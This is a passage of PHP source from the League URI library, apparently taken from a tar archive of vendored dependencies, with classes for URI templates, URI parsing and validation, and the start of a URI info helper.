League\Uri\Contracts\UriInterface; use League\Uri\Exceptions\SyntaxError; use League\Uri\Exceptions\TemplateCanNotBeExpanded; use League\Uri\UriTemplate\Template; use League\Uri\UriTemplate\VariableBag; /** * Defines the URI Template syntax and the process for expanding a URI Template into a URI reference. * * @link https://tools.ietf.org/html/rfc6570 * @package League\Uri * @author Ignace Nyamagana Butera * @since 6.1.0 * * Based on GuzzleHttp\UriTemplate class in Guzzle v6.5. * @link https://github.com/guzzle/guzzle/blob/6.5/src/UriTemplate.php */ final class UriTemplate { /** * @var Template */ private $template; /** * @var VariableBag */ private $defaultVariables; /** * @param object|string $template a string or an object with the __toString method * * @throws \TypeError if the template is not a string or an object with the __toString method * @throws SyntaxError if the template syntax is invalid * @throws TemplateCanNotBeExpanded if the template variables are invalid */ public function __construct($template, array $defaultVariables = []) { $this->template = Template::createFromString($template); $this->defaultVariables = $this->filterVariables($defaultVariables); } public static function __set_state(array $properties): self { return new self($properties['template']->toString(), $properties['defaultVariables']->all()); } /** * Filters out variables for the given template. * * @param array> $variables */ private function filterVariables(array $variables): VariableBag { $output = new VariableBag(); foreach ($this->template->variableNames() as $name) { if (isset($variables[$name])) { $output->assign($name, $variables[$name]); } } return $output; } /** * The template string. */ public function getTemplate(): string { return $this->template->toString(); } /** * Returns the names of the variables in the template, in order. * * @return string[] */ public function getVariableNames(): array { return $this->template->variableNames(); } /** * Returns the default values used to expand the template. * * The returned list only contains variables whose name is part of the current template. * * @return array */ public function getDefaultVariables(): array { return $this->defaultVariables->all(); } /** * Returns a new instance with the updated default variables. * * This method MUST retain the state of the current instance, and return * an instance that contains the modified default variables. * * If present, variables whose name is not part of the current template * possible variable names are removed. */ public function withDefaultVariables(array $defaultDefaultVariables): self { $clone = clone $this; $clone->defaultVariables = $this->filterVariables($defaultDefaultVariables); return $clone; } /** * @throws TemplateCanNotBeExpanded if the variable contains nested array values * @throws UriException if the resulting expansion can not be converted to a UriInterface instance */ public function expand(array $variables = []): UriInterface { $uriString = $this->template->expand( $this->filterVariables($variables)->replace($this->defaultVariables) ); return Uri::createFromString($uriString); } } res/readability/vendor/league/uri/src/Uri.php000064400000115512147577714370015256 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri; use League\Uri\Contracts\UriInterface; use League\Uri\Exceptions\FileinfoSupportMissing; use League\Uri\Exceptions\IdnaConversionFailed; use League\Uri\Exceptions\IdnSupportMissing; use League\Uri\Exceptions\SyntaxError; use League\Uri\Idna\Idna; use Psr\Http\Message\UriInterface as Psr7UriInterface; use function array_filter; use function array_map; use function base64_decode; use function base64_encode; use function count; use function explode; use function file_get_contents; use function filter_var; use function implode; use function in_array; use function inet_pton; use function is_object; use function is_scalar; use function method_exists; use function preg_match; use function preg_replace; use function preg_replace_callback; use function rawurlencode; use function sprintf; use function str_replace; use function strlen; use function strpos; use function strspn; use function strtolower; use function substr; use const FILEINFO_MIME; use const FILTER_FLAG_IPV4; use const FILTER_FLAG_IPV6; use const FILTER_NULL_ON_FAILURE; use const FILTER_VALIDATE_BOOLEAN; use const FILTER_VALIDATE_IP; final class Uri implements UriInterface { /** * RFC3986 invalid characters. * * @link https://tools.ietf.org/html/rfc3986#section-2.2 * * @var string */ private const REGEXP_INVALID_CHARS = '/[\x00-\x1f\x7f]/'; /** * RFC3986 Sub delimiter characters regular expression pattern. * * @link https://tools.ietf.org/html/rfc3986#section-2.2 * * @var string */ private const REGEXP_CHARS_SUBDELIM = "\!\$&'\(\)\*\+,;\=%"; /** * RFC3986 unreserved characters regular expression pattern. * * @link https://tools.ietf.org/html/rfc3986#section-2.3 * * @var string */ private const REGEXP_CHARS_UNRESERVED = 'A-Za-z0-9_\-\.~'; /** * RFC3986 schema regular expression pattern. * * @link https://tools.ietf.org/html/rfc3986#section-3.1 */ private const REGEXP_SCHEME = ',^[a-z]([-a-z0-9+.]+)?$,i'; /** * RFC3986 host identified by a registered name regular expression pattern. * * @link https://tools.ietf.org/html/rfc3986#section-3.2.2 */ private const REGEXP_HOST_REGNAME = '/^( (?[a-z0-9_~\-\.])| (?[!$&\'()*+,;=])| (?%[A-F0-9]{2}) )+$/x'; /** * RFC3986 delimiters of the generic URI components regular expression pattern. * * @link https://tools.ietf.org/html/rfc3986#section-2.2 */ private const REGEXP_HOST_GEN_DELIMS = '/[:\/?#\[\]@ ]/'; // Also includes space. /** * RFC3986 IPvFuture regular expression pattern. * * @link https://tools.ietf.org/html/rfc3986#section-3.2.2 */ private const REGEXP_HOST_IPFUTURE = '/^ v(?[A-F0-9])+\. (?: (?[a-z0-9_~\-\.])| (?[!$&\'()*+,;=:]) # also include the : character )+ $/ix'; /** * RFC3986 IPvFuture host and port component. */ private const REGEXP_HOST_PORT = ',^(?(\[.*]|[^:])*)(:(?[^/?#]*))?$,x'; /** * Significant 10 bits of IP to detect Zone ID regular expression pattern. */ private const HOST_ADDRESS_BLOCK = "\xfe\x80"; /** * Regular expression pattern to for file URI. * contains the volume but not the volume separator. * The volume separator may be URL-encoded (`|` as `%7C`) by ::formatPath(), * so we account for that here. */ private const REGEXP_FILE_PATH = ',^(?/)?(?[a-zA-Z])(?:[:|\|]|%7C)(?.*)?,'; /** * Mimetype regular expression pattern. * * @link https://tools.ietf.org/html/rfc2397 */ private const REGEXP_MIMETYPE = ',^\w+/[-.\w]+(?:\+[-.\w]+)?$,'; /** * Base64 content regular expression pattern. * * @link https://tools.ietf.org/html/rfc2397 */ private const REGEXP_BINARY = ',(;|^)base64$,'; /** * Windows file path string regular expression pattern. * contains both the volume and volume separator. */ private const REGEXP_WINDOW_PATH = ',^(?[a-zA-Z][:|\|]),'; /** * Supported schemes and corresponding default port. * * @var array */ private const SCHEME_DEFAULT_PORT = [ 'data' => null, 'file' => null, 'ftp' => 21, 'gopher' => 70, 'http' => 80, 'https' => 443, 'ws' => 80, 'wss' => 443, ]; /** * URI validation methods per scheme. * * @var array */ private const SCHEME_VALIDATION_METHOD = [ 'data' => 'isUriWithSchemeAndPathOnly', 'file' => 'isUriWithSchemeHostAndPathOnly', 'ftp' => 'isNonEmptyHostUriWithoutFragmentAndQuery', 'gopher' => 'isNonEmptyHostUriWithoutFragmentAndQuery', 'http' => 'isNonEmptyHostUri', 'https' => 'isNonEmptyHostUri', 'ws' => 'isNonEmptyHostUriWithoutFragment', 'wss' => 'isNonEmptyHostUriWithoutFragment', ]; /** * All ASCII letters sorted by typical frequency of occurrence. * * @var string */ private const ASCII = "\x20\x65\x69\x61\x73\x6E\x74\x72\x6F\x6C\x75\x64\x5D\x5B\x63\x6D\x70\x27\x0A\x67\x7C\x68\x76\x2E\x66\x62\x2C\x3A\x3D\x2D\x71\x31\x30\x43\x32\x2A\x79\x78\x29\x28\x4C\x39\x41\x53\x2F\x50\x22\x45\x6A\x4D\x49\x6B\x33\x3E\x35\x54\x3C\x44\x34\x7D\x42\x7B\x38\x46\x77\x52\x36\x37\x55\x47\x4E\x3B\x4A\x7A\x56\x23\x48\x4F\x57\x5F\x26\x21\x4B\x3F\x58\x51\x25\x59\x5C\x09\x5A\x2B\x7E\x5E\x24\x40\x60\x7F\x00\x01\x02\x03\x04\x05\x06\x07\x08\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"; /** * URI scheme component. * * @var string|null */ private $scheme; /** * URI user info part. * * @var string|null */ private $user_info; /** * URI host component. * * @var string|null */ private $host; /** * URI port component. * * @var int|null */ private $port; /** * URI authority string representation. * * @var string|null */ private $authority; /** * URI path component. * * @var string */ private $path = ''; /** * URI query component. * * @var string|null */ private $query; /** * URI fragment component. * * @var string|null */ private $fragment; /** * URI string representation. * * @var string|null */ private $uri; /** * Create a new instance. * * @param ?string $scheme * @param ?string $user * @param ?string $pass * @param ?string $host * @param ?int $port * @param ?string $query * @param ?string $fragment */ private function __construct( ?string $scheme, ?string $user, ?string $pass, ?string $host, ?int $port, string $path, ?string $query, ?string $fragment ) { $this->scheme = $this->formatScheme($scheme); $this->user_info = $this->formatUserInfo($user, $pass); $this->host = $this->formatHost($host); $this->port = $this->formatPort($port); $this->authority = $this->setAuthority(); $this->path = $this->formatPath($path); $this->query = $this->formatQueryAndFragment($query); $this->fragment = $this->formatQueryAndFragment($fragment); $this->assertValidState(); } /** * Format the Scheme and Host component. * * @param ?string $scheme * * @throws SyntaxError if the scheme is invalid */ private function formatScheme(?string $scheme): ?string { if (null === $scheme) { return $scheme; } $formatted_scheme = strtolower($scheme); if (1 === preg_match(self::REGEXP_SCHEME, $formatted_scheme)) { return $formatted_scheme; } throw new SyntaxError(sprintf('The scheme `%s` is invalid.', $scheme)); } /** * Set the UserInfo component. * * @param ?string $user * @param ?string $password */ private function formatUserInfo(?string $user, ?string $password): ?string { if (null === $user) { return $user; } static $user_pattern = '/(?:[^%'.self::REGEXP_CHARS_UNRESERVED.self::REGEXP_CHARS_SUBDELIM.']++|%(?![A-Fa-f0-9]{2}))/'; $user = preg_replace_callback($user_pattern, [Uri::class, 'urlEncodeMatch'], $user); if (null === $password) { return $user; } static $password_pattern = '/(?:[^%:'.self::REGEXP_CHARS_UNRESERVED.self::REGEXP_CHARS_SUBDELIM.']++|%(?![A-Fa-f0-9]{2}))/'; return $user.':'.preg_replace_callback($password_pattern, [Uri::class, 'urlEncodeMatch'], $password); } /** * Returns the RFC3986 encoded string matched. */ private static function urlEncodeMatch(array $matches): string { return rawurlencode($matches[0]); } /** * Validate and Format the Host component. * * @param ?string $host */ private function formatHost(?string $host): ?string { if (null === $host || '' === $host) { return $host; } if ('[' !== $host[0]) { return $this->formatRegisteredName($host); } return $this->formatIp($host); } /** * Validate and format a registered name. * * The host is converted to its ascii representation if needed * * @throws IdnSupportMissing if the submitted host required missing or misconfigured IDN support * @throws SyntaxError if the submitted host is not a valid registered name */ private function formatRegisteredName(string $host): string { $formatted_host = rawurldecode($host); if (1 === preg_match(self::REGEXP_HOST_REGNAME, $formatted_host)) { return $formatted_host; } if (1 === preg_match(self::REGEXP_HOST_GEN_DELIMS, $formatted_host)) { throw new SyntaxError(sprintf('The host `%s` is invalid : a registered name can not contain URI delimiters or spaces', $host)); } $info = Idna::toAscii($host, Idna::IDNA2008_ASCII); if (0 !== $info->errors()) { throw IdnaConversionFailed::dueToIDNAError($host, $info); } return $info->result(); } /** * Validate and Format the IPv6/IPvfuture host. * * @throws SyntaxError if the submitted host is not a valid IP host */ private function formatIp(string $host): string { $ip = substr($host, 1, -1); if (false !== filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { return $host; } if (1 === preg_match(self::REGEXP_HOST_IPFUTURE, $ip, $matches) && !in_array($matches['version'], ['4', '6'], true)) { return $host; } $pos = strpos($ip, '%'); if (false === $pos) { throw new SyntaxError(sprintf('The host `%s` is invalid : the IP host is malformed', $host)); } if (1 === preg_match(self::REGEXP_HOST_GEN_DELIMS, rawurldecode(substr($ip, $pos)))) { throw new SyntaxError(sprintf('The host `%s` is invalid : the IP host is malformed', $host)); } $ip = substr($ip, 0, $pos); if (false === filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { throw new SyntaxError(sprintf('The host `%s` is invalid : the IP host is malformed', $host)); } //Only the address block fe80::/10 can have a Zone ID attach to //let's detect the link local significant 10 bits if (0 === strpos((string) inet_pton($ip), self::HOST_ADDRESS_BLOCK)) { return $host; } throw new SyntaxError(sprintf('The host `%s` is invalid : the IP host is malformed', $host)); } /** * Format the Port component. * * @param null|mixed $port * * @throws SyntaxError */ private function formatPort($port = null): ?int { if (null === $port || '' === $port) { return null; } if (!is_int($port) && !(is_string($port) && 1 === preg_match('/^\d*$/', $port))) { throw new SyntaxError(sprintf('The port `%s` is invalid', $port)); } $port = (int) $port; if (0 > $port) { throw new SyntaxError(sprintf('The port `%s` is invalid', $port)); } $defaultPort = self::SCHEME_DEFAULT_PORT[$this->scheme] ?? null; if ($defaultPort === $port) { return null; } return $port; } /** * {@inheritDoc} */ public static function __set_state(array $components): self { $components['user'] = null; $components['pass'] = null; if (null !== $components['user_info']) { [$components['user'], $components['pass']] = explode(':', $components['user_info'], 2) + [1 => null]; } return new self( $components['scheme'], $components['user'], $components['pass'], $components['host'], $components['port'], $components['path'], $components['query'], $components['fragment'] ); } /** * Create a new instance from a URI and a Base URI. * * The returned URI must be absolute. * * @param mixed $uri the input URI to create * @param null|mixed $base_uri the base URI used for reference */ public static function createFromBaseUri($uri, $base_uri = null): UriInterface { if (!$uri instanceof UriInterface) { $uri = self::createFromString($uri); } if (null === $base_uri) { if (null === $uri->getScheme()) { throw new SyntaxError(sprintf('the URI `%s` must be absolute', (string) $uri)); } if (null === $uri->getAuthority()) { return $uri; } /** @var UriInterface $uri */ $uri = UriResolver::resolve($uri, $uri->withFragment(null)->withQuery(null)->withPath('')); return $uri; } if (!$base_uri instanceof UriInterface) { $base_uri = self::createFromString($base_uri); } if (null === $base_uri->getScheme()) { throw new SyntaxError(sprintf('the base URI `%s` must be absolute', (string) $base_uri)); } /** @var UriInterface $uri */ $uri = UriResolver::resolve($uri, $base_uri); return $uri; } /** * Create a new instance from a string. * * @param string|mixed $uri */ public static function createFromString($uri = ''): self { $components = UriString::parse($uri); return new self( $components['scheme'], $components['user'], $components['pass'], $components['host'], $components['port'], $components['path'], $components['query'], $components['fragment'] ); } /** * Create a new instance from a hash of parse_url parts. * * Create an new instance from a hash representation of the URI similar * to PHP parse_url function result * * @param array $components */ public static function createFromComponents(array $components = []): self { $components += [ 'scheme' => null, 'user' => null, 'pass' => null, 'host' => null, 'port' => null, 'path' => '', 'query' => null, 'fragment' => null, ]; return new self( $components['scheme'], $components['user'], $components['pass'], $components['host'], $components['port'], $components['path'], $components['query'], $components['fragment'] ); } /** * Create a new instance from a data file path. * * @param resource|null $context * * @throws FileinfoSupportMissing If ext/fileinfo is not installed * @throws SyntaxError If the file does not exist or is not readable */ public static function createFromDataPath(string $path, $context = null): self { static $finfo_support = null; $finfo_support = $finfo_support ?? class_exists(\finfo::class); // @codeCoverageIgnoreStart if (!$finfo_support) { throw new FileinfoSupportMissing(sprintf('Please install ext/fileinfo to use the %s() method.', __METHOD__)); } // @codeCoverageIgnoreEnd $file_args = [$path, false]; $mime_args = [$path, FILEINFO_MIME]; if (null !== $context) { $file_args[] = $context; $mime_args[] = $context; } $raw = @file_get_contents(...$file_args); if (false === $raw) { throw new SyntaxError(sprintf('The file `%s` does not exist or is not readable', $path)); } $mimetype = (string) (new \finfo(FILEINFO_MIME))->file(...$mime_args); return Uri::createFromComponents([ 'scheme' => 'data', 'path' => str_replace(' ', '', $mimetype.';base64,'.base64_encode($raw)), ]); } /** * Create a new instance from a Unix path string. */ public static function createFromUnixPath(string $uri = ''): self { $uri = implode('/', array_map('rawurlencode', explode('/', $uri))); if ('/' !== ($uri[0] ?? '')) { return Uri::createFromComponents(['path' => $uri]); } return Uri::createFromComponents(['path' => $uri, 'scheme' => 'file', 'host' => '']); } /** * Create a new instance from a local Windows path string. */ public static function createFromWindowsPath(string $uri = ''): self { $root = ''; if (1 === preg_match(self::REGEXP_WINDOW_PATH, $uri, $matches)) { $root = substr($matches['root'], 0, -1).':'; $uri = substr($uri, strlen($root)); } $uri = str_replace('\\', '/', $uri); $uri = implode('/', array_map('rawurlencode', explode('/', $uri))); //Local Windows absolute path if ('' !== $root) { return Uri::createFromComponents(['path' => '/'.$root.$uri, 'scheme' => 'file', 'host' => '']); } //UNC Windows Path if ('//' !== substr($uri, 0, 2)) { return Uri::createFromComponents(['path' => $uri]); } $parts = explode('/', substr($uri, 2), 2) + [1 => null]; return Uri::createFromComponents(['host' => $parts[0], 'path' => '/'.$parts[1], 'scheme' => 'file']); } /** * Create a new instance from a URI object. * * @param Psr7UriInterface|UriInterface $uri the input URI to create */ public static function createFromUri($uri): self { if ($uri instanceof UriInterface) { $user_info = $uri->getUserInfo(); $user = null; $pass = null; if (null !== $user_info) { [$user, $pass] = explode(':', $user_info, 2) + [1 => null]; } return new self( $uri->getScheme(), $user, $pass, $uri->getHost(), $uri->getPort(), $uri->getPath(), $uri->getQuery(), $uri->getFragment() ); } if (!$uri instanceof Psr7UriInterface) { throw new \TypeError(sprintf('The object must implement the `%s` or the `%s`', Psr7UriInterface::class, UriInterface::class)); } $scheme = $uri->getScheme(); if ('' === $scheme) { $scheme = null; } $fragment = $uri->getFragment(); if ('' === $fragment) { $fragment = null; } $query = $uri->getQuery(); if ('' === $query) { $query = null; } $host = $uri->getHost(); if ('' === $host) { $host = null; } $user_info = $uri->getUserInfo(); $user = null; $pass = null; if ('' !== $user_info) { [$user, $pass] = explode(':', $user_info, 2) + [1 => null]; } return new self( $scheme, $user, $pass, $host, $uri->getPort(), $uri->getPath(), $query, $fragment ); } /** * Create a new instance from the environment. */ public static function createFromServer(array $server): self { [$user, $pass] = self::fetchUserInfo($server); [$host, $port] = self::fetchHostname($server); [$path, $query] = self::fetchRequestUri($server); return Uri::createFromComponents([ 'scheme' => self::fetchScheme($server), 'user' => $user, 'pass' => $pass, 'host' => $host, 'port' => $port, 'path' => $path, 'query' => $query, ]); } /** * Returns the environment scheme. */ private static function fetchScheme(array $server): string { $server += ['HTTPS' => '']; $res = filter_var($server['HTTPS'], FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); return false !== $res ? 'https' : 'http'; } /** * Returns the environment user info. * * @return array{0:?string, 1:?string} */ private static function fetchUserInfo(array $server): array { $server += ['PHP_AUTH_USER' => null, 'PHP_AUTH_PW' => null, 'HTTP_AUTHORIZATION' => '']; $user = $server['PHP_AUTH_USER']; $pass = $server['PHP_AUTH_PW']; if (0 === strpos(strtolower($server['HTTP_AUTHORIZATION']), 'basic')) { $userinfo = base64_decode(substr($server['HTTP_AUTHORIZATION'], 6), true); if (false === $userinfo) { throw new SyntaxError('The user info could not be detected'); } [$user, $pass] = explode(':', $userinfo, 2) + [1 => null]; } if (null !== $user) { $user = rawurlencode($user); } if (null !== $pass) { $pass = rawurlencode($pass); } return [$user, $pass]; } /** * Returns the environment host. * * @throws SyntaxError If the host can not be detected * * @return array{0:?string, 1:?string} */ private static function fetchHostname(array $server): array { $server += ['SERVER_PORT' => null]; if (null !== $server['SERVER_PORT']) { $server['SERVER_PORT'] = (int) $server['SERVER_PORT']; } if (isset($server['HTTP_HOST']) && 1 === preg_match(self::REGEXP_HOST_PORT, $server['HTTP_HOST'], $matches)) { return [ $matches['host'], isset($matches['port']) ? (int) $matches['port'] : $server['SERVER_PORT'], ]; } if (!isset($server['SERVER_ADDR'])) { throw new SyntaxError('The host could not be detected'); } if (false === filter_var($server['SERVER_ADDR'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { $server['SERVER_ADDR'] = '['.$server['SERVER_ADDR'].']'; } return [$server['SERVER_ADDR'], $server['SERVER_PORT']]; } /** * Returns the environment path. * * @return array{0:?string, 1:?string} */ private static function fetchRequestUri(array $server): array { $server += ['IIS_WasUrlRewritten' => null, 'UNENCODED_URL' => '', 'PHP_SELF' => '', 'QUERY_STRING' => null]; if ('1' === $server['IIS_WasUrlRewritten'] && '' !== $server['UNENCODED_URL']) { /** @var array{0:?string, 1:?string} $retval */ $retval = explode('?', $server['UNENCODED_URL'], 2) + [1 => null]; return $retval; } if (isset($server['REQUEST_URI'])) { [$path, ] = explode('?', $server['REQUEST_URI'], 2); $query = ('' !== $server['QUERY_STRING']) ? $server['QUERY_STRING'] : null; return [$path, $query]; } return [$server['PHP_SELF'], $server['QUERY_STRING']]; } /** * Generate the URI authority part. */ private function setAuthority(): ?string { $authority = null; if (null !== $this->user_info) { $authority = $this->user_info.'@'; } if (null !== $this->host) { $authority .= $this->host; } if (null !== $this->port) { $authority .= ':'.$this->port; } return $authority; } /** * Format the Path component. */ private function formatPath(string $path): string { $path = $this->formatDataPath($path); static $pattern = '/(?:[^'.self::REGEXP_CHARS_UNRESERVED.self::REGEXP_CHARS_SUBDELIM.'%:@\/}{]++|%(?![A-Fa-f0-9]{2}))/'; $path = (string) preg_replace_callback($pattern, [Uri::class, 'urlEncodeMatch'], $path); return $this->formatFilePath($path); } /** * Filter the Path component. * * @link https://tools.ietf.org/html/rfc2397 * * @throws SyntaxError If the path is not compliant with RFC2397 */ private function formatDataPath(string $path): string { if ('data' !== $this->scheme) { return $path; } if ('' == $path) { return 'text/plain;charset=us-ascii,'; } if (strlen($path) !== strspn($path, self::ASCII) || false === strpos($path, ',')) { throw new SyntaxError(sprintf('The path `%s` is invalid according to RFC2937', $path)); } $parts = explode(',', $path, 2) + [1 => null]; $mediatype = explode(';', (string) $parts[0], 2) + [1 => null]; $data = (string) $parts[1]; $mimetype = $mediatype[0]; if (null === $mimetype || '' === $mimetype) { $mimetype = 'text/plain'; } $parameters = $mediatype[1]; if (null === $parameters || '' === $parameters) { $parameters = 'charset=us-ascii'; } $this->assertValidPath($mimetype, $parameters, $data); return $mimetype.';'.$parameters.','.$data; } /** * Assert the path is a compliant with RFC2397. * * @link https://tools.ietf.org/html/rfc2397 * * @throws SyntaxError If the mediatype or the data are not compliant with the RFC2397 */ private function assertValidPath(string $mimetype, string $parameters, string $data): void { if (1 !== preg_match(self::REGEXP_MIMETYPE, $mimetype)) { throw new SyntaxError(sprintf('The path mimetype `%s` is invalid', $mimetype)); } $is_binary = 1 === preg_match(self::REGEXP_BINARY, $parameters, $matches); if ($is_binary) { $parameters = substr($parameters, 0, - strlen($matches[0])); } $res = array_filter(array_filter(explode(';', $parameters), [$this, 'validateParameter'])); if ([] !== $res) { throw new SyntaxError(sprintf('The path paremeters `%s` is invalid', $parameters)); } if (!$is_binary) { return; } $res = base64_decode($data, true); if (false === $res || $data !== base64_encode($res)) { throw new SyntaxError(sprintf('The path data `%s` is invalid', $data)); } } /** * Validate mediatype parameter. */ private function validateParameter(string $parameter): bool { $properties = explode('=', $parameter); return 2 != count($properties) || 'base64' === strtolower($properties[0]); } /** * Format path component for file scheme. */ private function formatFilePath(string $path): string { if ('file' !== $this->scheme) { return $path; } $replace = static function (array $matches): string { return $matches['delim'].$matches['volume'].':'.$matches['rest']; }; return (string) preg_replace_callback(self::REGEXP_FILE_PATH, $replace, $path); } /** * Format the Query or the Fragment component. * * Returns a array containing: *
                      *
                    • the formatted component (a string or null)
                    • *
                    • a boolean flag telling wether the delimiter is to be added to the component * when building the URI string representation
                    • *
                    * * @param ?string $component */ private function formatQueryAndFragment(?string $component): ?string { if (null === $component || '' === $component) { return $component; } static $pattern = '/(?:[^'.self::REGEXP_CHARS_UNRESERVED.self::REGEXP_CHARS_SUBDELIM.'%:@\/\?]++|%(?![A-Fa-f0-9]{2}))/'; return preg_replace_callback($pattern, [Uri::class, 'urlEncodeMatch'], $component); } /** * assert the URI internal state is valid. * * @link https://tools.ietf.org/html/rfc3986#section-3 * @link https://tools.ietf.org/html/rfc3986#section-3.3 * * @throws SyntaxError if the URI is in an invalid state according to RFC3986 * @throws SyntaxError if the URI is in an invalid state according to scheme specific rules */ private function assertValidState(): void { if (null !== $this->authority && ('' !== $this->path && '/' !== $this->path[0])) { throw new SyntaxError('If an authority is present the path must be empty or start with a `/`.'); } if (null === $this->authority && 0 === strpos($this->path, '//')) { throw new SyntaxError(sprintf('If there is no authority the path `%s` can not start with a `//`.', $this->path)); } $pos = strpos($this->path, ':'); if (null === $this->authority && null === $this->scheme && false !== $pos && false === strpos(substr($this->path, 0, $pos), '/') ) { throw new SyntaxError('In absence of a scheme and an authority the first path segment cannot contain a colon (":") character.'); } $validationMethod = self::SCHEME_VALIDATION_METHOD[$this->scheme] ?? null; if (null === $validationMethod || true === $this->$validationMethod()) { $this->uri = null; return; } throw new SyntaxError(sprintf('The uri `%s` is invalid for the `%s` scheme.', (string) $this, $this->scheme)); } /** * URI validation for URI schemes which allows only scheme and path components. */ private function isUriWithSchemeAndPathOnly(): bool { return null === $this->authority && null === $this->query && null === $this->fragment; } /** * URI validation for URI schemes which allows only scheme, host and path components. */ private function isUriWithSchemeHostAndPathOnly(): bool { return null === $this->user_info && null === $this->port && null === $this->query && null === $this->fragment && !('' != $this->scheme && null === $this->host); } /** * URI validation for URI schemes which disallow the empty '' host. */ private function isNonEmptyHostUri(): bool { return '' !== $this->host && !(null !== $this->scheme && null === $this->host); } /** * URI validation for URIs schemes which disallow the empty '' host * and forbids the fragment component. */ private function isNonEmptyHostUriWithoutFragment(): bool { return $this->isNonEmptyHostUri() && null === $this->fragment; } /** * URI validation for URIs schemes which disallow the empty '' host * and forbids fragment and query components. */ private function isNonEmptyHostUriWithoutFragmentAndQuery(): bool { return $this->isNonEmptyHostUri() && null === $this->fragment && null === $this->query; } /** * Generate the URI string representation from its components. * * @link https://tools.ietf.org/html/rfc3986#section-5.3 * * @param ?string $scheme * @param ?string $authority * @param ?string $query * @param ?string $fragment */ private function getUriString( ?string $scheme, ?string $authority, string $path, ?string $query, ?string $fragment ): string { if (null !== $scheme) { $scheme = $scheme.':'; } if (null !== $authority) { $authority = '//'.$authority; } if (null !== $query) { $query = '?'.$query; } if (null !== $fragment) { $fragment = '#'.$fragment; } return $scheme.$authority.$path.$query.$fragment; } public function toString(): string { $this->uri = $this->uri ?? $this->getUriString( $this->scheme, $this->authority, $this->path, $this->query, $this->fragment ); return $this->uri; } /** * {@inheritDoc} */ public function __toString(): string { return $this->toString(); } /** * {@inheritDoc} */ public function jsonSerialize(): string { return $this->toString(); } /** * {@inheritDoc} * * @return array{scheme:?string, user_info:?string, host:?string, port:?int, path:string, query:?string, fragment:?string} */ public function __debugInfo(): array { return [ 'scheme' => $this->scheme, 'user_info' => isset($this->user_info) ? preg_replace(',:(.*).?$,', ':***', $this->user_info) : null, 'host' => $this->host, 'port' => $this->port, 'path' => $this->path, 'query' => $this->query, 'fragment' => $this->fragment, ]; } /** * {@inheritDoc} */ public function getScheme(): ?string { return $this->scheme; } /** * {@inheritDoc} */ public function getAuthority(): ?string { return $this->authority; } /** * {@inheritDoc} */ public function getUserInfo(): ?string { return $this->user_info; } /** * {@inheritDoc} */ public function getHost(): ?string { return $this->host; } /** * {@inheritDoc} */ public function getPort(): ?int { return $this->port; } /** * {@inheritDoc} */ public function getPath(): string { return $this->path; } /** * {@inheritDoc} */ public function getQuery(): ?string { return $this->query; } /** * {@inheritDoc} */ public function getFragment(): ?string { return $this->fragment; } /** * {@inheritDoc} */ public function withScheme($scheme): UriInterface { $scheme = $this->formatScheme($this->filterString($scheme)); if ($scheme === $this->scheme) { return $this; } $clone = clone $this; $clone->scheme = $scheme; $clone->port = $clone->formatPort($clone->port); $clone->authority = $clone->setAuthority(); $clone->assertValidState(); return $clone; } /** * Filter a string. * * @param mixed $str the value to evaluate as a string * * @throws SyntaxError if the submitted data can not be converted to string */ private function filterString($str): ?string { if (null === $str) { return $str; } if (is_object($str) && method_exists($str, '__toString')) { $str = (string) $str; } if (!is_scalar($str)) { throw new \TypeError(sprintf('The component must be a string, a scalar or a stringable object %s given.', gettype($str))); } $str = (string) $str; if (1 !== preg_match(self::REGEXP_INVALID_CHARS, $str)) { return $str; } throw new SyntaxError(sprintf('The component `%s` contains invalid characters.', $str)); } /** * {@inheritDoc} */ public function withUserInfo($user, $password = null): UriInterface { $user_info = null; $user = $this->filterString($user); if (null !== $password) { $password = $this->filterString($password); } if ('' !== $user) { $user_info = $this->formatUserInfo($user, $password); } if ($user_info === $this->user_info) { return $this; } $clone = clone $this; $clone->user_info = $user_info; $clone->authority = $clone->setAuthority(); $clone->assertValidState(); return $clone; } /** * {@inheritDoc} */ public function withHost($host): UriInterface { $host = $this->formatHost($this->filterString($host)); if ($host === $this->host) { return $this; } $clone = clone $this; $clone->host = $host; $clone->authority = $clone->setAuthority(); $clone->assertValidState(); return $clone; } /** * {@inheritDoc} */ public function withPort($port): UriInterface { $port = $this->formatPort($port); if ($port === $this->port) { return $this; } $clone = clone $this; $clone->port = $port; $clone->authority = $clone->setAuthority(); $clone->assertValidState(); return $clone; } /** * {@inheritDoc} */ public function withPath($path): UriInterface { $path = $this->filterString($path); if (null === $path) { throw new \TypeError('A path must be a string NULL given.'); } $path = $this->formatPath($path); if ($path === $this->path) { return $this; } $clone = clone $this; $clone->path = $path; $clone->assertValidState(); return $clone; } /** * {@inheritDoc} */ public function withQuery($query): UriInterface { $query = $this->formatQueryAndFragment($this->filterString($query)); if ($query === $this->query) { return $this; } $clone = clone $this; $clone->query = $query; $clone->assertValidState(); return $clone; } /** * {@inheritDoc} */ public function withFragment($fragment): UriInterface { $fragment = $this->formatQueryAndFragment($this->filterString($fragment)); if ($fragment === $this->fragment) { return $this; } $clone = clone $this; $clone->fragment = $fragment; $clone->assertValidState(); return $clone; } } res/readability/vendor/league/uri/src/UriInfo.php000064400000014243147577714370016071 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri; use League\Uri\Contracts\UriInterface; use Psr\Http\Message\UriInterface as Psr7UriInterface; use function explode; use function implode; use function preg_replace_callback; use function rawurldecode; use function sprintf; final class UriInfo { private const REGEXP_ENCODED_CHARS = ',%(2[D|E]|3[0-9]|4[1-9|A-F]|5[0-9|A|F]|6[1-9|A-F]|7[0-9|E]),i'; private const WHATWG_SPECIAL_SCHEMES = ['ftp', 'http', 'https', 'ws', 'wss']; /** * @codeCoverageIgnore */ private function __construct() { } /** * @param Psr7UriInterface|UriInterface $uri */ private static function emptyComponentValue($uri): ?string { return $uri instanceof Psr7UriInterface ? '' : null; } /** * Filter the URI object. * * To be valid an URI MUST implement at least one of the following interface: * - League\Uri\UriInterface * - Psr\Http\Message\UriInterface * * @param mixed $uri the URI to validate * * @throws \TypeError if the URI object does not implements the supported interfaces. * * @return 